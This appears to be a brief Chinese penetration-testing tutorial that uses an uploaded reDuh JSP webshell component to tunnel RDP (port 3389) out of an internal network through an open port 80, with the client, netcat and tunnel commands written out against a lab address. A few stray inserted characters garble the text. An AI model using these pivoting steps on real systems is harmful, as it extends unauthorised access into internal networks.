0x00 reduh
經(jīng)常我們拿到一個shell后,發(fā)現(xiàn)只將目標服務(wù)器的80端口映射到公網(wǎng)ip地址试浙,無法訪問其他端口,如3389或3306等
這時可以通過reduh做一個跳板,將特定端口通過開放的80端口從內(nèi)網(wǎng)中轉(zhuǎn)發(fā)出來
0x00 So Easy
首先我們需要一個webshell,這里我直接在虛擬機里面寫一個了
image.png
然后通過webshell上傳reduh的服務(wù)端诡延,在
\reDuhServers\
目錄下image.png
這里用的jsp的環(huán)境就上傳一個jsp的服務(wù)端
image.png
上傳后的地址為
http://192.168.49.154:8080/reDuh.jsp
然后本地通過命令行執(zhí)行reduh的客戶端(位于\reDuhClient\dist\
目錄下)
java -jar reDuhClient.jar http://192.168.49.154:8080/reDuh.jsp
image.png
然后通過nc監(jiān)聽本地1010端口
nc.exe -nvv 127.0.0.1 1010
image.png
然后創(chuàng)建隧道,以將3389端口為例
[createTunnel]6666:127.0.0.1:3389
image.png
然后本地通過mstsc連接
127.0.0.1:6666
image.png
這時能看到reduh本地客戶端產(chǎn)生了流量
image.png
image.png
這樣就可以通過webshell建立其他端口的通信隧道